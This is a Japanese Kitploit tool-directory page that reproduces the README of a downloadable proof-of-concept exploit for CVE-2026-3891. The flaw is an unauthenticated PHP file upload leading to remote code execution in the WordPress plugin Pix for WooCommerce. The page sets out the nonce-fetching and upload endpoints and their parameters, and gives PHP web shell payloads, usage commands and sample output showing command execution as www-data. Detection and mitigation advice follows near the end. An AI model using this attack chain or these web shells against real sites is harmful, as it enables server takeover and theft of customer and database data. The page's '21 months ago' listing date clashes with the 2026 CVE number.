Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-3891 — CVE-2026-3891のPoC – Pix for WooCommerce ≤ 1.5.0における未認証ファイルアップロードRCE。自動化されたnonce取得、PHPアップロード、およびコマンド実行。 | Kitploit
ツール/GitHubGitHub/ch4120n/cve-2026-3891
エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubch4120n/cve-2026-3891

CVE-2026-3891

CVE-2026-3891のPoC – Pix for WooCommerce ≤ 1.5.0における未認証ファイルアップロードRCE。自動化されたnonce取得、PHPアップロード、およびコマンド実行。

リポジトリを見る
21ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🚀 CVE-2026-3891 – Pix for WooCommerce 未認証ファイルアップロードによる RCE

Python Exploit CVE

GitHub stars GitHub issues License

CVE-2026-3891 の概念実証(PoC)エクスプロイト – WordPress プラグイン Pix for WooCommerce(≤ 1.5.0)における未認証の任意ファイルアップロードからリモートコード実行に至る脆弱性です。


📖 概要

CVE-2026-3891 は、Pix for WooCommerce プラグインにおける深刻な脆弱性で、1.5.0 までの全バージョンに影響します。このプラグインは AJAX ハンドラー lkn_pix_for_woocommerce_c6_save_settings において適切な認可とファイルタイプの検証を行っていません。未認証の攻撃者はこの欠陥を悪用して、公開アクセス可能なディレクトリに任意の PHP ファイルをアップロードし、対象の WordPress サーバー上でリモートコード実行を達成できます。

このリポジトリには、有効な nonce の取得から Web シェルのアップロードまでの攻撃チェーン全体を自動化する本番品質の PoC が含まれており、堅牢なエラーハンドリングと美しい CLI インターフェースを備えています。

🔍 主な特徴

  • 完全に未認証 – WordPress の認証情報やセッション Cookie は不要です。
  • nonce の自動抽出 – エクスプロイトは、同じ公開 AJAX インターフェースを介して必要なセキュリティ nonce を取得します。
  • マルチパートファイルアップロード – 脆弱なハンドラーが期待する certificate_crt_path ファイルパラメータを正しく構築します。
  • URL の直接生成 – アップロードされたペイロードの公開 URL を即座に提供します。
  • 侵害後(ポストエクスプロイト)チェック – アップロード成功の任意検証と、その場でのコマンド実行(--check)。
  • 高度なエラーハンドリング – Cloudflare、WAF、タイムアウト、不正なレスポンスを適切に処理します。
  • クリーンで分かりやすい出力 – すべてのメッセージに [ * ]、[ + ]、[ - ]、[ ! ] のプレフィックスが付き、即座に判読できます。

🧬 脆弱性の詳細

根本原因は、プラグインによって登録された 2 つの AJAX アクションにあります:

1. lkn_pix_for_woocommerce_generate_nonce

root@kitploit:~
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);

このアクションは wp_ajax_nopriv_* にフックされており、未認証の訪問者でもアクセス可能です。lkn_pix_for_woocommerce_c6_settings_nonce アクション用の nonce を生成し、JSON エンベロープで返します:

root@kitploit:~
{"success":true,"data":{"nonce":"abc123..."}}

権限チェックやユーザー認証は実行されません。つまり、誰でも有効な nonce を要求できます。

2. lkn_pix_for_woocommerce_c6_save_settings

root@kitploit:~
add_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);

このハンドラーは、certificate_crt_path というファイルアップロードフィールドを含むプラグイン設定を保存します。アップロードは WordPress の media_handle_upload ヘルパーを通じて行われますが、プラグインは以下を行いません:

  • リクエストが認証済みかつ許可されたユーザーからのものであることを検証する(current_user_can の欠如)。
  • ファイルタイプや拡張子の制限を実施する(例:.php ファイルを許可してしまう)。
  • ファイルを実行不可の場所に保存する – 実際には以下の場所に保存されます:
    root@kitploit:~
    wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
    
    この場所は Web 経由で直接アクセス可能です。

nonce は CSRF 対策にしかならず、誰でも取得できるため、攻撃者はこれら 2 つのアクションを連鎖させて任意の PHP コードをアップロード・実行できます。

影響を受けるバージョン

  • Pix for WooCommerce バージョン ≤ 1.5.0
  • この脆弱性は、デフォルト構成のクリーンな WordPress インストール環境で確認されています。

影響

  • リモートコード実行 – Web サーバーの権限(通常は www-data または apache)で完全な Web シェルアクセスが可能。
  • データ漏えい – wp-config.php、データベース認証情報、顧客データの読み取りが可能。
  • 永続化 – コアファイルの改ざん、バックドアの埋め込み。
  • サイトの完全乗っ取り – データベースにアクセスできれば WordPress 管理者権限へ昇格可能。

🛠️ 悪用の要件

  • 対象の WordPress サイトへのネットワークアクセス(認証は不要)。
  • requests ライブラリを備えた Python 3.8+(pip install requests でインストール)。
  • 対象に脆弱性のあるプラグインがインストールされ、有効化されていること(デフォルト構成で十分)。

🚀 使い方

インストール

root@kitploit:~
git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt   # requests

基本コマンド

root@kitploit:~
python CVE-2026-3891.py http://target.com/wordpress

より詳細な制御が必要な場合は、コマンドラインオプションを使用します:

root@kitploit:~
python CVE-2026-3891.py https://example.com \
  -f shell.php \
  -p '<?php system($_GET["c"]); ?>' \
  --check \
  --timeout 20

出力例

root@kitploit:~
  ___  _  _  ____     ___   ___  ___    _       ___  ___  ___  __ 
 / __)( \/ )( ___)___(__ \ / _ \(__ \  / )  ___(__ )( _ )/ _ \/  )
( (__  \  /  )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_  / )( 
 \___)  \/  (____)   (____)\___/(____)\___/    (___/\___/ (_/ (__)
                        [CVE-2026-3891]
          Pix for WooCommerce Unauthenticated File Upload
                         Owner: Ch4120N

[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php

# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

コマンドラインオプション


🧪 検知とチューニングのための技術的詳細

Nonce 生成エンドポイント

  • URL: http://target/wp-admin/admin-ajax.php
  • アクション: lkn_pix_for_woocommerce_generate_nonce
  • パラメータ: action_name=lkn_pix_for_woocommerce_c6_settings_nonce
  • レスポンス: {"success":true,"data":{"nonce":"..."}}
  • 注記: このアクションは wp_ajax_nopriv_* で登録されているため、nonce は常に取得可能です。Cookie やセッションは不要です。

ファイルアップロードパラメータ

  • URL: 同じ admin-ajax.php
  • アクション: lkn_pix_for_woocommerce_c6_save_settings
  • 必須フィールド:
    • _ajax_nonce – 事前に取得した nonce
    • certificate_crt_path – マルチパートのファイルアップロード(ペイロード)
  • ファイルタイプ: プラグインは拡張子を検証しないため、.php ファイルがリネームされることなく受け入れられ、保存されます。

公開ストレージパス

アップロードが成功すると、ファイルは以下の場所に配置されます:

root@kitploit:~
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>

このディレクトリは Web から直接アクセス可能です。Web サーバーが PHP を処理するように設定されていれば(WordPress 管理サーバーではデフォルト)、PHP ファイルが実行されます。

侵害の痕跡(IoCs)

  • certs_c6 ディレクトリに予期しない PHP ファイルが出現する(特に woocommerce.php、shell.php などのファイル)。
  • 信頼できない IP からの、上記のアクションを使用した通常とは異なる admin-ajax.php への POST リクエスト。
  • ?cmd=id のようなクエリパラメータを伴う .../certs_c6/ への直接アクセスがアクセスログに記録される。

🛡️ 検知と緩和策

検知

WordPress のログで以下を監視します:

  • action=lkn_pix_for_woocommerce_generate_nonce および action=lkn_pix_for_woocommerce_c6_save_settings を伴う /wp-admin/admin-ajax.php への繰り返しの POST リクエスト。
  • certs_c6 フォルダへの新しいファイルの作成。ファイル整合性監視ツール(例:Tripwire、OSSEC)を使用して変更をアラートします。
  • 外部 IP からそのディレクトリ内の PHP ファイルが実行されたことを示す Web サーバーログ。

緩和策

  1. プラグインを更新する – 公式修正を含む 1.5.0 より新しいバージョンを確認します(リリースされている場合)。
  2. 仮想パッチを適用する – WAF ルール(例:ModSecurity、Cloudflare WAF)で脆弱な AJAX アクションへのアクセスをブロックします。
  3. ファイル実行を制限する – プラグインが必須の場合は、Web サーバーを設定して certs_c6 ディレクトリ内での PHP 実行を拒否します(例:php_flag engine off を含む .htaccess を使用)。
  4. AJAX ハンドラーを堅牢化する – プラグインを保守している場合は、両方のアクションが認証済みかつ許可されたユーザーのみにアクセス可能であることを確認します(nonce 生成には current_user_can('manage_options')、アップロードには適切な nonce 検証と権限チェック)。
  5. プラグインを無効化する – Pix for WooCommerce が必須でない場合は、完全に削除します。

👏 クレジット

  • エクスプロイト開発 & PoC: Ch4120N
  • 脆弱性分析: 独立したセキュリティ研究

📄 ライセンス

このプロジェクトは MIT ライセンスの下で提供されています – 詳細は LICENSE ファイルを参照してください。

免責事項: このツールは、許可されたセキュリティテストおよび教育目的のみを対象としています。作者は、このソフトウェアによって引き起こされる誤用や損害について一切の責任を負いません。


📚 参照

  • NIST NVD – CVE-2026-3891
  • WordPress Plugin Repository – Pix for WooCommerce(修正版の変更履歴を確認してください)
  • Patchstack / WPScan Vulnerability Database(エントリが存在する場合)

⭐ サポート

この PoC が役に立った場合は、GitHub で ⭐ を付けて、責任を持って共有することを検討してください。コントリビューション、Issue、プルリクエストを歓迎します!


ハッピーハッキング! 🛡️

ツールをダウンロード
フラグ説明デフォルト
target (位置引数)WordPress サイトのベース URL。必須
-f, --filenameアップロードする PHP ファイルの名前。woocommerce.php
-p, --payloadアップロードする PHP コード。<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>
-t, --timeoutリクエストのタイムアウト(秒)。15
-r, --retriesnonce 取得の最大リトライ回数。2
--no-bannerASCII アートを非表示にする。(オフ)
--no-verifyアップロード後のアクセス確認をスキップする。(オフ)
--checkアップロード後に Web シェルで id を実行する。(オフ)